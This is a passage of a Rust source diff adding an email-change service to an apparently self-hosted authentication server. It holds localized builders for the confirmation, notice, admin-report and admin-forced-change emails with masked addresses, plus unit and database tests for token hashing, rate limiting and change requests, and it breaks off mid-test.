989 + match &self.i18n {
990 + Some(i18n) => {
991 + let map: HashMap<String, String> = vars
992 + .iter()
993 + .map(|(k, v)| ((*k).to_string(), (*v).to_string()))
994 + .collect();
995 + let value = i18n.translate_with_vars(key, locale, &map).await;
996 + // `I18nService::translate` echoes the key when it is unknown.
997 + if value == key {
998 + Self::interpolate(fallback, vars)
999 + } else {
1000 + value
1001 + }
1002 + }
1003 + None => Self::interpolate(fallback, vars),
1004 + }
1005 + }
1006 +
1007 + /// Replace every `{name}` occurrence of `vars` in `template`.
1008 + fn interpolate(template: &str, vars: &[(&str, &str)]) -> String {
1009 + let mut out = template.to_string();
1010 + for (name, value) in vars {
1011 + out = out.replace(&format!("{{{name}}}"), value);
1012 + }
1013 + out
1014 + }
1015 +
1016 + /// Last-resort HTML body when an Askama render fails.
1017 + ///
1018 + /// Keeps the flow usable instead of dropping the email: the text body is
1019 + /// already complete, it is simply wrapped in a minimal document.
1020 + fn html_fallback(text: &str) -> String {
1021 + format!(
1022 + "<!DOCTYPE html><html><body><pre>{}</pre></body></html>",
1023 + sanitize_email_content(text)
1024 + )
1025 + }
1026 +
1027 + /// Render an email template, falling back to the plain-text body wrapped
1028 + /// in minimal HTML if rendering fails.
1029 + fn render_or_fallback(
1030 + rendered: Result<String, askama::Error>,
1031 + text: &str,
1032 + which: &str,
1033 + ) -> String {
1034 + match rendered {
1035 + Ok(html) => html,
1036 + Err(e) => {
1037 + tracing::warn!("Failed to render {} email template: {}", which, e);
1038 + Self::html_fallback(text)
1039 + }
1040 + }
1041 + }
1042 +
1043 + /// Build `(subject, html, text)` of the confirmation email sent to the
1044 + /// candidate address.
1045 + async fn build_validation_email(
1046 + &self,
1047 + locale: &str,
1048 + username: &str,
1049 + confirm_url: &str,
1050 + hours: i64,
1051 + ) -> (String, String, String) {
1052 + let app_name = crate::config::app::default_app_name();
1053 + let hours = hours.to_string();
1054 + let subject = self
1055 + .tr(
1056 + "email_change.validation_subject",
1057 + locale,
1058 + "Confirm your new email address",
1059 + )
1060 + .await;
1061 + let template = EmailChangeValidationTemplate {
1062 + locale: locale.to_string(),
1063 + app_name: app_name.clone(),
1064 + title: self
1065 + .tr(
1066 + "email_change.validation_title",
1067 + locale,
1068 + "Confirm your new email address",
1069 + )
1070 + .await,
1071 + greeting: self
1072 + .tr_vars(
1073 + "email_change.greeting",
1074 + locale,
1075 + "Hello {username},",
1076 + &[("username", username)],
1077 + )
1078 + .await,
1079 + intro: self
1080 + .tr_vars(
1081 + "email_change.validation_intro",
1082 + locale,
1083 + "An email-change request was opened for your {app_name} account. Open the \
1084 + confirmation page below and confirm the change there to complete it.",
1085 + &[("app_name", &app_name)],
1086 + )
1087 + .await,
1088 + expires: self
1089 + .tr_vars(
1090 + "email_change.validation_expires",
1091 + locale,
1092 + "This link is valid for {hours} hour(s).",
1093 + &[("hours", &hours)],
1094 + )
1095 + .await,
1096 + ignore_notice: self
1097 + .tr(
1098 + "email_change.validation_ignore",
1099 + locale,
1100 + "If you did not request this change, simply ignore this message: nothing has \
1101 + been modified and the link will expire on its own.",
1102 + )
1103 + .await,
1104 + button_label: self
1105 + .tr(
1106 + "email_change.validation_button",
1107 + locale,
1108 + "Open the confirmation page",
1109 + )
1110 + .await,
1111 + confirm_url: confirm_url.to_string(),
1112 + fallback_label: self
1113 + .tr(
1114 + "email_change.fallback_label",
1115 + locale,
1116 + "Button not working? Copy this link into your browser:",
1117 + )
1118 + .await,
1119 + footer: self
1120 + .tr(
1121 + "email_change.footer",
1122 + locale,
1123 + "This email was sent automatically, please do not reply.",
1124 + )
1125 + .await,
1126 + current_year: Utc::now().year(),
1127 + };
1128 + let text = template.render_text();
1129 + let html =
1130 + Self::render_or_fallback(template.render_html(), &text, "email-change validation");
1131 + (subject, html, text)
1132 + }
1133 +
1134 + /// Build `(subject, html, text)` of the notice sent to the current
1135 + /// address. The candidate address is masked, and no confirmation link is
1136 + /// ever included.
1137 + async fn build_notice_email(
1138 + &self,
1139 + locale: &str,
1140 + username: &str,
1141 + report_url: &str,
1142 + candidate_email: &str,
1143 + ) -> (String, String, String) {
1144 + let app_name = crate::config::app::default_app_name();
1145 + let masked = mask_email(candidate_email);
1146 + let subject = self
1147 + .tr(
1148 + "email_change.notice_subject",
1149 + locale,
1150 + "An email-change request was opened on your account",
1151 + )
1152 + .await;
1153 + let template = EmailChangeNoticeTemplate {
1154 + locale: locale.to_string(),
1155 + app_name: app_name.clone(),
1156 + title: self
1157 + .tr("email_change.notice_title", locale, "Email-change request")
1158 + .await,
1159 + greeting: self
1160 + .tr_vars(
1161 + "email_change.greeting",
1162 + locale,
1163 + "Hello {username},",
1164 + &[("username", username)],
1165 + )
1166 + .await,
1167 + intro: self
1168 + .tr_vars(
1169 + "email_change.notice_intro",
1170 + locale,
1171 + "A request to move your account to {email} has just been opened.",
1172 + &[("email", &masked)],
1173 + )
1174 + .await,
1175 + unchanged: self
1176 + .tr(
1177 + "email_change.notice_unchanged",
1178 + locale,
1179 + "Your account has NOT changed: it still uses this address, which stays \
1180 + verified until the new one is confirmed.",
1181 + )
1182 + .await,
1183 + report_intro: self
1184 + .tr(
1185 + "email_change.notice_report_intro",
1186 + locale,
1187 + "If you are not the origin of this request, open the report page below to \
1188 + alert the administrators.",
1189 + )
1190 + .await,
1191 + button_label: self
1192 + .tr("email_change.notice_button", locale, "Open the report page")
1193 + .await,
1194 + report_url: report_url.to_string(),
1195 + fallback_label: self
1196 + .tr(
1197 + "email_change.fallback_label",
1198 + locale,
1199 + "Button not working? Copy this link into your browser:",
1200 + )
1201 + .await,
1202 + footer: self
1203 + .tr(
1204 + "email_change.footer",
1205 + locale,
1206 + "This email was sent automatically, please do not reply.",
1207 + )
1208 + .await,
1209 + current_year: Utc::now().year(),
1210 + };
1211 + let text = template.render_text();
1212 + let html = Self::render_or_fallback(template.render_html(), &text, "email-change notice");
1213 + (subject, html, text)
1214 + }
1215 +
1216 + /// Build `(subject, html, text)` of the alert sent to administrators when
1217 + /// a request is reported. Both addresses are masked.
1218 + async fn build_reported_admin_email(
1219 + &self,
1220 + locale: &str,
1221 + target_username: &str,
1222 + current_email: &str,
1223 + candidate_email: &str,
1224 + reported_at: &str,
1225 + ) -> (String, String, String) {
1226 + let app_name = crate::config::app::default_app_name();
1227 + let masked_old = mask_email(current_email);
1228 + let masked_new = mask_email(candidate_email);
1229 + let subject = self
1230 + .tr(
1231 + "email_change.reported_admin_subject",
1232 + locale,
1233 + "Email change reported by a user",
1234 + )
1235 + .await;
1236 + let template = EmailChangeReportedAdminTemplate {
1237 + locale: locale.to_string(),
1238 + app_name: app_name.clone(),
1239 + title: self
1240 + .tr(
1241 + "email_change.reported_admin_title",
1242 + locale,
1243 + "Email change reported",
1244 + )
1245 + .await,
1246 + intro: self
1247 + .tr_vars(
1248 + "email_change.reported_admin_intro",
1249 + locale,
1250 + "User {username} reported an email-change request they state they did not \
1251 + initiate.",
1252 + &[("username", target_username)],
1253 + )
1254 + .await,
1255 + details: self
1256 + .tr_vars(
1257 + "email_change.reported_admin_details",
1258 + locale,
1259 + "Current address: {old_email} — requested address: {new_email} — report \
1260 + received on {reported_at}.",
1261 + &[
1262 + ("old_email", &masked_old),
1263 + ("new_email", &masked_new),
1264 + ("reported_at", reported_at),
1265 + ],
1266 + )
1267 + .await,
1268 + not_blocked: self
1269 + .tr(
1270 + "email_change.reported_admin_not_blocked",
1271 + locale,
1272 + "The change is NOT blocked: if the confirmation link is followed, the address \
1273 + will be updated. Step in if the situation warrants it.",
1274 + )
1275 + .await,
1276 + footer: self
1277 + .tr(
1278 + "email_change.footer",
1279 + locale,
1280 + "This email was sent automatically, please do not reply.",
1281 + )
1282 + .await,
1283 + current_year: Utc::now().year(),
1284 + };
1285 + let text = template.render_text();
1286 + let html =
1287 + Self::render_or_fallback(template.render_html(), &text, "email-change report alert");
1288 + (subject, html, text)
1289 + }
1290 +
1291 + /// Build `(subject, html, text)` of the link-less notice sent to both
1292 + /// addresses after an operator-driven change.
1293 + async fn build_by_admin_email(
1294 + &self,
1295 + locale: &str,
1296 + username: &str,
1297 + previous_email: &str,
1298 + new_email: &str,
1299 + ) -> (String, String, String) {
1300 + let app_name = crate::config::app::default_app_name();
1301 + let masked_old = mask_email(previous_email);
1302 + let masked_new = mask_email(new_email);
1303 + let subject = self
1304 + .tr(
1305 + "email_change.by_admin_subject",
1306 + locale,
1307 + "Your email address was changed by an administrator",
1308 + )
1309 + .await;
1310 + let template = EmailChangeByAdminTemplate {
1311 + locale: locale.to_string(),
1312 + app_name: app_name.clone(),
1313 + title: self
1314 + .tr(
1315 + "email_change.by_admin_title",
1316 + locale,
1317 + "Email address changed by an administrator",
1318 + )
1319 + .await,
1320 + greeting: self
1321 + .tr_vars(
1322 + "email_change.greeting",
1323 + locale,
1324 + "Hello {username},",
1325 + &[("username", username)],
1326 + )
1327 + .await,
1328 + intro: self
1329 + .tr_vars(
1330 + "email_change.by_admin_intro",
1331 + locale,
1332 + "The email address of your {app_name} account was changed by an administrator.",
1333 + &[("app_name", &app_name)],
1334 + )
1335 + .await,
1336 + details: self
1337 + .tr_vars(
1338 + "email_change.by_admin_details",
1339 + locale,
1340 + "Previous address: {old_email} — new address: {new_email}.",
1341 + &[("old_email", &masked_old), ("new_email", &masked_new)],
1342 + )
1343 + .await,
1344 + support: self
1345 + .tr(
1346 + "email_change.by_admin_support",
1347 + locale,
1348 + "No action is required on your side and there is nothing to confirm. If in \
1349 + doubt, contact support.",
1350 + )
1351 + .await,
1352 + footer: self
1353 + .tr(
1354 + "email_change.footer",
1355 + locale,
1356 + "This email was sent automatically, please do not reply.",
1357 + )
1358 + .await,
1359 + current_year: Utc::now().year(),
1360 + };
1361 + let text = template.render_text();
1362 + let html =
1363 + Self::render_or_fallback(template.render_html(), &text, "admin-forced email change");
1364 + (subject, html, text)
1365 + }
1366 +
1367 + /// Queue one alert per administrator after a report. Best-effort.
1368 + async fn notify_admins_of_report(
1369 + &self,
1370 + db: &DatabaseConnection,
1371 + user_id: Uuid,
1372 + candidate_email: &str,
1373 + ) {
1374 + let admins = match UserService::get_all_admin_users(db).await {
1375 + Ok(admins) => admins,
1376 + Err(e) => {
1377 + tracing::warn!(
1378 + "Failed to list administrators for email-change report: {}",
1379 + e
1380 + );
1381 + return;
1382 + }
1383 + };
1384 +
1385 + let target = UserService::get_user_by_id(db, user_id)
1386 + .await
1387 + .ok()
1388 + .flatten();
1389 + let target_username = target
1390 + .as_ref()
1391 + .map(|u| u.username.clone())
1392 + .unwrap_or_else(|| user_id.to_string());
1393 + // Masked in the template; an operator mailbox does not need the
1394 + // clear-text address, the durable trail lives in `audit_logs`.
1395 + let target_email = target.map(|u| u.email).unwrap_or_default();
1396 + let reported_at = Utc::now().format("%Y-%m-%d %H:%M:%S UTC").to_string();
1397 +
1398 + for admin in admins {
1399 + let locale = Self::locale_for(db, admin.id).await;
1400 + let (subject, body_html, body_text) = self
1401 + .build_reported_admin_email(
1402 + &locale,
1403 + &target_username,
1404 + &target_email,
1405 + candidate_email,
1406 + &reported_at,
1407 + )
1408 + .await;
1409 + if let Err(e) = EmailQueueService::enqueue(
1410 + db,
1411 + admin.email.clone(),
1412 + Some(admin.username.clone()),
1413 + self.email_config.smtp_from.clone(),
1414 + self.email_config.smtp_from_name.clone(),
1415 + subject,
1416 + body_html,
1417 + body_text,
1418 + "email_change_reported".to_string(),
1419 + )
1420 + .await
1421 + {
1422 + tracing::warn!(
1423 + admin_id = %admin.id,
1424 + "Failed to queue email-change report alert: {}",
1425 + e
1426 + );
1427 + }
1428 + }
1429 + }
1430 +
1431 + /// Queue the two link-less notices after an operator-driven change.
1432 + /// Best-effort: the write is already committed.
1433 + async fn notify_admin_forced_change(
1434 + &self,
1435 + db: &DatabaseConnection,
1436 + user_id: Uuid,
1437 + username: &str,
1438 + previous_email: &str,
1439 + new_email: &str,
1440 + ) {
1441 + let locale = Self::locale_for(db, user_id).await;
1442 + let (subject, body_html, body_text) = self
1443 + .build_by_admin_email(&locale, username, previous_email, new_email)
1444 + .await;
1445 +
1446 + for recipient in [previous_email, new_email] {
1447 + if let Err(e) = EmailQueueService::enqueue(
1448 + db,
1449 + recipient.to_string(),
1450 + Some(username.to_string()),
1451 + self.email_config.smtp_from.clone(),
1452 + self.email_config.smtp_from_name.clone(),
1453 + subject.clone(),
1454 + body_html.clone(),
1455 + body_text.clone(),
1456 + "email_change_by_admin".to_string(),
1457 + )
1458 + .await
1459 + {
1460 + tracing::warn!(
1461 + user_id = %user_id,
1462 + "Failed to queue admin email-change notice: {}",
1463 + e
1464 + );
1465 + }
1466 + }
1467 + }
1468 +}
1469 +
1470 +/// Serialises every test that plants or purges rows past the retention
1471 +/// window.
1472 +///
1473 +/// [`EmailChangeService::cleanup_expired`] deletes **every** such row, whoever
1474 +/// owns it, so two retention tests running concurrently would purge each
1475 +/// other's fixtures. Shared with `tasks::pending_email_change_cleanup`, which
1476 +/// drives the same predicate from its processor.
1477 +#[cfg(test)]
1478 +pub(crate) static RETENTION_GUARD: tokio::sync::Mutex<()> = tokio::sync::Mutex::const_new(());
1479 +
1480 +#[cfg(test)]
1481 +mod tests {
1482 + use super::*;
1483 + use crate::models::{email_queue, refresh_token};
1484 + use crate::services::role_service::RoleService;
1485 + use async_trait::async_trait;
1486 + use sea_orm::{PaginatorTrait, QueryOrder};
1487 + use std::sync::Mutex;
1488 +
1489 + /// Base URL of the links built by the service; the tests parse the token
1490 + /// back out of the queued bodies, exactly like a human clicking them.
1491 + const TEST_BASE_URL: &str = "https://rw.test";
1492 +
1493 + /// One captured `on_audit_event` call, owned so the assertions can outlive
1494 + /// the borrowed [`AuditEvent`].
1495 + #[derive(Clone, Debug)]
1496 + struct CapturedEvent {
1497 + kind: String,
1498 + actor_id: Option<Uuid>,
1499 + target: Option<(String, Uuid)>,
1500 + metadata: serde_json::Value,
1501 + }
1502 +
1503 + type AuditSink = Arc<Mutex<Vec<CapturedEvent>>>;
1504 + type VerifiedSink = Arc<Mutex<Vec<Uuid>>>;
1505 +
1506 + /// Hooks impl forwarding every audit event to an externally-owned sink —
1507 + /// same shape as `auth_logging::tests::CapturingHooks`, so no downcast is
1508 + /// needed once the value is erased behind `Arc<dyn RustwardenHooks>`.
1509 + struct CapturingHooks {
1510 + audit: AuditSink,
1511 + verified: VerifiedSink,
1512 + }
1513 +
1514 + #[async_trait]
1515 + impl RustwardenHooks for CapturingHooks {
1516 + async fn on_audit_event(
1517 + &self,
1518 + _db: &DatabaseConnection,
1519 + event: AuditEvent<'_>,
1520 + ) -> anyhow::Result<()> {
1521 + self.audit.lock().expect("audit sink").push(CapturedEvent {
1522 + kind: event.kind.to_string(),
1523 + actor_id: event.actor_id,
1524 + target: event.target.map(|(kind, id)| (kind.to_string(), id)),
1525 + metadata: event.metadata.clone(),
1526 + });
1527 + Ok(())
1528 + }
1529 +
1530 + async fn on_email_verified(
1531 + &self,
1532 + _db: &DatabaseConnection,
1533 + user_id: Uuid,
1534 + ) -> anyhow::Result<()> {
1535 + self.verified.lock().expect("verified sink").push(user_id);
1536 + Ok(())
1537 + }
1538 + }
1539 +
1540 + fn capturing_hooks() -> (Arc<dyn RustwardenHooks>, AuditSink, VerifiedSink) {
1541 + let audit = Arc::new(Mutex::new(Vec::new()));
1542 + let verified = Arc::new(Mutex::new(Vec::new()));
1543 + let hooks: Arc<dyn RustwardenHooks> = Arc::new(CapturingHooks {
1544 + audit: audit.clone(),
1545 + verified: verified.clone(),
1546 + });
1547 + (hooks, audit, verified)
1548 + }
1549 +
1550 + /// Per-test connection — see `personal_token_service::tests` for rationale.
1551 + async fn test_db() -> DatabaseConnection {
1552 + dotenvy::dotenv().ok();
1553 + let url = std::env::var("DATABASE_URL")
1554 + .expect("DATABASE_URL required for email_change_service tests");
1555 + sea_orm::Database::connect(&url)
1556 + .await
1557 + .expect("connect to the test database")
1558 + }
1559 +
1560 + fn dummy_email_config() -> EmailConfig {
1561 + EmailConfig {
1562 + smtp_host: "localhost".into(),
1563 + smtp_port: 587,
1564 + smtp_user: "u".into(),
1565 + smtp_password: "p".into(),
1566 + smtp_from: "from@example.test".into(),
1567 + smtp_from_name: Some("Rustwarden Test".into()),
1568 + smtp_use_tls: false,
1569 + smtp_use_starttls: false,
1570 + smtp_accept_invalid_certs: true,
1571 + smtp_ca_cert_path: None,
1572 + queue_batch_size: 10,
1573 + queue_retry_attempts: 5,
1574 + queue_retry_delay_seconds: 300,
1575 + email_base_url: TEST_BASE_URL.into(),
1576 + request_dsn: false,
1577 + imap_host: None,
1578 + imap_port: 993,
1579 + imap_user: None,
1580 + imap_password: None,
1581 + imap_use_tls: true,
1582 + imap_use_starttls: false,
1583 + imap_accept_invalid_certs: false,
1584 + imap_ca_cert_path: None,
1585 + imap_mailbox: "INBOX".into(),
1586 + imap_poll_interval_seconds: 300,
1587 + }
1588 + }
1589 +
1590 + /// Service backed by a **private** limiter: the process-wide `OnceLock`
1591 + /// would otherwise leak budgets between tests running in the same binary.
1592 + fn service() -> EmailChangeService {
1593 + EmailChangeService::new_with_limiter(dummy_email_config(), RateLimitService::new())
1594 + }
1595 +
1596 + const PASSWORD: &str = "TestPassword1!";
1597 +
1598 + /// Create a **verified** account, the realistic starting point: RFC 0041
1599 + /// protects an identity that has already been proven.
1600 + async fn verified_user(db: &DatabaseConnection) -> user::Model {
1601 + let unique = Uuid::new_v4().simple().to_string();
1602 + let hash = crate::services::password_service::PasswordService::hash_password(PASSWORD)
1603 + .await
1604 + .expect("hash password");
1605 + let created = UserService::create_user(
1606 + db,
1607 + format!("ec-{}", &unique[..10]),
1608 + format!("ec-{}@example.test", &unique[..10]),
1609 + hash,
1610 + false,
1611 + )
1612 + .await
1613 + .expect("create user");
1614 +
1615 + let mut active: user::ActiveModel = created.into();
1616 + active.email_verified = Set(true);
1617 + active.email_verified_at = Set(Some(Utc::now()));
1618 + active.update(db).await.expect("mark verified")
1619 + }
1620 +
1621 + /// Address nobody owns yet, unique per call.
1622 + fn fresh_email() -> String {
1623 + format!("cand-{}@example.test", Uuid::new_v4().simple())
1624 + }
1625 +
1626 + /// Latest queued mail of `email_type` addressed to `to_email`.
1627 + async fn last_queued(
1628 + db: &DatabaseConnection,
1629 + to_email: &str,
1630 + email_type: &str,
1631 + ) -> Option<email_queue::Model> {
1632 + email_queue::Entity::find()
1633 + .filter(email_queue::Column::ToEmail.eq(to_email))
1634 + .filter(email_queue::Column::EmailType.eq(email_type))
1635 + .order_by_desc(email_queue::Column::CreatedAt)
1636 + .one(db)
1637 + .await
1638 + .expect("query email_queue")
1639 + }
1640 +
1641 + async fn queued_count(db: &DatabaseConnection, to_email: &str, email_type: &str) -> u64 {
1642 + email_queue::Entity::find()
1643 + .filter(email_queue::Column::ToEmail.eq(to_email))
1644 + .filter(email_queue::Column::EmailType.eq(email_type))
1645 + .count(db)
1646 + .await
1647 + .expect("count email_queue")
1648 + }
1649 +
1650 + /// Pull the token back out of a queued body — the tests follow the same
1651 + /// path as the human: read the mail, take the link.
1652 + fn token_in(body: &str, kind: &str) -> String {
1653 + let marker = format!("{TEST_BASE_URL}/api/v1/auth/email-change/{kind}/");
1654 + let start = body
1655 + .find(&marker)
1656 + .unwrap_or_else(|| panic!("no {kind} link in body: {body}"))
1657 + + marker.len();
1658 + body[start..]
1659 + .chars()
1660 + .take_while(|c| c.is_ascii_alphanumeric() || *c == '-')
1661 + .collect()
1662 + }
1663 +
1664 + async fn confirmation_token(db: &DatabaseConnection, candidate: &str) -> String {
1665 + let mail = last_queued(db, candidate, "email_change_validation")
1666 + .await
1667 + .expect("validation mail queued");
1668 + token_in(&mail.body_text, "confirm")
1669 + }
1670 +
1671 + async fn report_token(db: &DatabaseConnection, current: &str) -> String {
1672 + let mail = last_queued(db, current, "email_change_notice")
1673 + .await
1674 + .expect("notice mail queued");
1675 + token_in(&mail.body_text, "report")
1676 + }
1677 +
1678 + async fn pending_rows(
1679 + db: &DatabaseConnection,
1680 + user_id: Uuid,
1681 + ) -> Vec<pending_email_change::Model> {
1682 + pending_email_change::Entity::find()
1683 + .filter(pending_email_change::Column::UserId.eq(user_id))
1684 + .order_by_asc(pending_email_change::Column::CreatedAt)
1685 + .all(db)
1686 + .await
1687 + .expect("query pending_email_changes")
1688 + }
1689 +
1690 + async fn audit_rows(
1691 + db: &DatabaseConnection,
1692 + user_id: Uuid,
1693 + action: &str,
1694 + ) -> Vec<audit_log::Model> {
1695 + audit_log::Entity::find()
1696 + .filter(
1697 + Condition::any()
1698 + .add(audit_log::Column::UserId.eq(user_id))
1699 + .add(audit_log::Column::TargetUserId.eq(user_id)),
1700 + )
1701 + .filter(audit_log::Column::Action.eq(action))
1702 + .all(db)
1703 + .await
1704 + .expect("query audit_logs")
1705 + }
1706 +
1707 + async fn reload(db: &DatabaseConnection, user_id: Uuid) -> user::Model {
1708 + UserService::get_user_by_id(db, user_id)
1709 + .await
1710 + .expect("reload user")
1711 + .expect("user still exists")
1712 + }
1713 +
1714 + /// Give `user_id` the `admin` role. Returns `false` when the RBAC seed is
1715 + /// absent, so the admin tests skip instead of failing on a bare schema.
1716 + async fn promote_to_admin(db: &DatabaseConnection, user_id: Uuid) -> bool {
1717 + match RoleService::get_role_by_name(db, "admin").await {
1718 + Ok(Some(role)) => {
1719 + UserService::assign_role_to_user(db, user_id, role.id)
1720 + .await
1721 + .expect("assign admin role");
1722 + true
1723 + }
1724 + _ => false,
1725 + }
1726 + }
1727 +
1728 + /// Force a pending row into the past without going through the service.
1729 + async fn expire(db: &DatabaseConnection, row: pending_email_change::Model) {
1730 + let mut active: pending_email_change::ActiveModel = row.into();
1731 + active.expires_at = Set(Utc::now() - Duration::hours(1));
1732 + active.update(db).await.expect("expire row");
1733 + }
1734 +
1735 + // ── Unit: token hashing ─────────────────────────────────────────────────
1736 +
1737 + #[test]
1738 + fn hash_token_is_deterministic_lowercase_sha256_hex() {
1739 + let hash = EmailChangeService::hash_token("abc");
1740 + assert_eq!(hash.len(), 64, "SHA-256 hex is 64 characters");
1741 + assert!(
1742 + hash.chars()
1743 + .all(|c| c.is_ascii_hexdigit() && !c.is_ascii_uppercase()),
1744 + "hash must be lowercase hex, got {hash}"
1745 + );
1746 + assert_eq!(
1747 + hash,
1748 + EmailChangeService::hash_token("abc"),
1749 + "hashing must be deterministic"
1750 + );
1751 + }
1752 +
1753 + #[test]
1754 + fn hash_token_differs_for_two_inputs() {
1755 + assert_ne!(
1756 + EmailChangeService::hash_token("token-a"),
1757 + EmailChangeService::hash_token("token-b")
1758 + );
1759 + }
1760 +
1761 + #[test]
1762 + fn hash_token_never_returns_the_plain_token() {
1763 + let plain = Uuid::new_v4().to_string();
1764 + assert_ne!(EmailChangeService::hash_token(&plain), plain);
1765 + }
1766 +
1767 + // ── Unit: rate limiter wiring ───────────────────────────────────────────
1768 +
1769 + #[test]
1770 + fn new_with_limiter_uses_injected_instance() {
1771 + let limiter = RateLimitService::new();
1772 + let svc = EmailChangeService::new_with_limiter(dummy_email_config(), limiter.clone());
1773 + let key = format!("email_change:{}", Uuid::new_v4());
1774 + for _ in 0..EMAIL_CHANGE_RATE_LIMIT_MAX {
1775 + limiter
1776 + .check_sliding_window(
1777 + &key,
1778 + EMAIL_CHANGE_RATE_LIMIT_MAX,
1779 + EMAIL_CHANGE_RATE_LIMIT_WINDOW,
1780 + )
1781 + .expect("budget not exhausted yet");
1782 + }
1783 + assert!(
1784 + svc.rate_limiter
1785 + .check_sliding_window(
1786 + &key,
1787 + EMAIL_CHANGE_RATE_LIMIT_MAX,
1788 + EMAIL_CHANGE_RATE_LIMIT_WINDOW
1789 + )
1790 + .is_err(),
1791 + "the service must see the budget consumed through the injected limiter"
1792 + );
1793 + }
1794 +
1795 + #[test]
1796 + fn new_shares_the_process_wide_limiter() {
1797 + let a = EmailChangeService::new(dummy_email_config());
1798 + let b = EmailChangeService::new(dummy_email_config());
1799 + let key = format!("email_change:{}", Uuid::new_v4());
1800 + for _ in 0..EMAIL_CHANGE_RATE_LIMIT_MAX {
1801 + a.rate_limiter
1802 + .check_sliding_window(
1803 + &key,
1804 + EMAIL_CHANGE_RATE_LIMIT_MAX,
1805 + EMAIL_CHANGE_RATE_LIMIT_WINDOW,
1806 + )
1807 + .expect("budget not exhausted yet");
1808 + }
1809 + assert!(
1810 + b.rate_limiter
1811 + .check_sliding_window(
1812 + &key,
1813 + EMAIL_CHANGE_RATE_LIMIT_MAX,
1814 + EMAIL_CHANGE_RATE_LIMIT_WINDOW
1815 + )
1816 + .is_err(),
1817 + "two `new()` services must share one process-wide budget"
1818 + );
1819 + }
1820 +
1821 + #[test]
1822 + fn email_change_budget_is_distinct_from_verify_and_reset() {
1823 + let limiter = RateLimitService::new();
1824 + let id = Uuid::new_v4();
1825 + let window = EMAIL_CHANGE_RATE_LIMIT_WINDOW;
1826 + for _ in 0..EMAIL_CHANGE_RATE_LIMIT_MAX {
1827 + limiter
1828 + .check_sliding_window(
1829 + &format!("email_change:{id}"),
1830 + EMAIL_CHANGE_RATE_LIMIT_MAX,
1831 + window,
1832 + )
1833 + .expect("email_change budget");
1834 + }
1835 + // Same subject, other prefixes: untouched. A user who exhausted their
1836 + // change budget must still be able to reset their password.
1837 + assert!(
1838 + limiter
1839 + .check_sliding_window(
1840 + &format!("email_verify:{id}"),
1841 + EMAIL_CHANGE_RATE_LIMIT_MAX,
1842 + window
1843 + )
1844 + .is_ok(),
1845 + "email_verify budget must not share the email_change key"
1846 + );
1847 + assert!(
1848 + limiter
1849 + .check_sliding_window(
1850 + &format!("pwd_reset:{id}"),
1851 + EMAIL_CHANGE_RATE_LIMIT_MAX,
1852 + window
1853 + )
1854 + .is_ok(),
1855 + "pwd_reset budget must not share the email_change key"
1856 + );
1857 + }
1858 +
1859 + /// Count the sessions still usable by `user_id`.
1860 + async fn live_sessions(db: &DatabaseConnection, user_id: Uuid) -> u64 {
1861 + refresh_token::Entity::find()
1862 + .filter(refresh_token::Column::UserId.eq(user_id))
1863 + .filter(refresh_token::Column::Revoked.eq(false))
1864 + .count(db)
1865 + .await
1866 + .expect("count refresh tokens")
1867 + }
1868 +
1869 + // ── request_change ──────────────────────────────────────────────────────
1870 +
1871 + /// RFC 0041 test 1 — the whole point of the RFC: a request changes nothing
1872 + /// on the account.
1873 + #[tokio::test]
1874 + async fn request_change_writes_a_pending_row_and_leaves_the_account_untouched() {
1875 + let db = test_db().await;
1876 + let user = verified_user(&db).await;
1877 + let candidate = fresh_email();
1878 +
1879 + service()
1880 + .request_change(&db, user.id, &candidate, PASSWORD)
1881 + .await
1882 + .expect("request must succeed");
1883 +
1884 + let rows = pending_rows(&db, user.id).await;
1885 + assert_eq!(rows.len(), 1, "exactly one pending row");
1886 + assert_eq!(rows[0].new_email, candidate);
1887 + assert!(rows[0].used_at.is_none(), "a fresh request is not consumed");
1888 + assert!(rows[0].reported_at.is_none());
1889 + assert!(rows[0].is_pending(), "the row must be usable");
1890 + assert_ne!(
1891 + rows[0].token_hash, rows[0].report_token_hash,
1892 + "confirming and reporting are two distinct capabilities"
1893 + );
1894 +
1895 + let reloaded = reload(&db, user.id).await;
1896 + assert_eq!(
1897 + reloaded.email, user.email,
1898 + "users.email must NOT move before confirmation"
1899 + );
1900 + assert!(
1901 + reloaded.email_verified,
1902 + "a pending request must not un-verify the account"
1903 + );
1904 +
1905 + assert_eq!(
1906 + queued_count(&db, &candidate, "email_change_validation").await,
1907 + 1,
1908 + "one confirmation mail to the candidate address"
1909 + );
1910 + assert_eq!(
1911 + queued_count(&db, &user.email, "email_change_notice").await,
1912 + 1,
1913 + "one notice mail to the current address"
1914 + );
1915 + }
1916 +
1917 + /// The notice must never carry the confirmation link, and must not spell
1918 + /// out the candidate address: the old mailbox may already be hostile.
1919 + #[tokio::test]
1920 + async fn the_notice_carries_the_report_link_only_and_masks_the_candidate() {
1921 + let db = test_db().await;
1922 + let user = verified_user(&db).await;
1923 + let candidate = fresh_email();
1924 +
1925 + service()
1926 + .request_change(&db, user.id, &candidate, PASSWORD)
1927 + .await
1928 + .expect("request must succeed");
1929 +
1930 + let notice = last_queued(&db, &user.email, "email_change_notice")
1931 + .await
1932 + .expect("notice queued");
1933 + let confirm_token = confirmation_token(&db, &candidate).await;
1934 +
1935 + for body in [&notice.body_text, &notice.body_html] {
1936 + assert!(
1937 + !body.contains(&confirm_token),
1938 + "the notice must never carry the confirmation token"
1939 + );
1940 + assert!(
1941 + !body.contains("/email-change/confirm/"),
1942 + "the notice must never carry a confirmation link"
1943 + );
1944 + assert!(
1945 + !body.contains(&candidate),
1946 + "the candidate address must be masked in the notice"
1947 + );
1948 + assert!(
1949 + body.contains("/email-change/report/"),
1950 + "the notice must carry the report link"
1951 + );
1952 + }
1953 + }
1954 +
1955 + /// RFC 0041 test 3 — a stolen access token alone must not open a change.
1956 + #[tokio::test]
1957 + async fn request_change_with_a_wrong_password_writes_nothing() {
1958 + let db = test_db().await;
1959 + let user = verified_user(&db).await;
1960 + let candidate = fresh_email();
1961 +
1962 + let result = service()
1963 + .request_change(&db, user.id, &candidate, "WrongPassword1!")
1964 + .await;
1965 +
1966 + assert!(
1967 + matches!(result, Err(AppError::InvalidCredentials)),
1968 + "expected InvalidCredentials, got {result:?}"
1969 + );
1970 + assert!(
1971 + pending_rows(&db, user.id).await.is_empty(),
1972 + "no row may exist after a refused request"
1973 + );
1974 + assert_eq!(
1975 + queued_count(&db, &candidate, "email_change_validation").await,
1976 + 0,
1977 + "no mail may reach the candidate address"
1978 + );
1979 + }
1980 +
1981 + /// RFC 0041 test 4 — the format is checked before anything is written.
1982 + #[tokio::test]
1983 + async fn request_change_with_an_invalid_format_writes_nothing() {
1984 + let db = test_db().await;
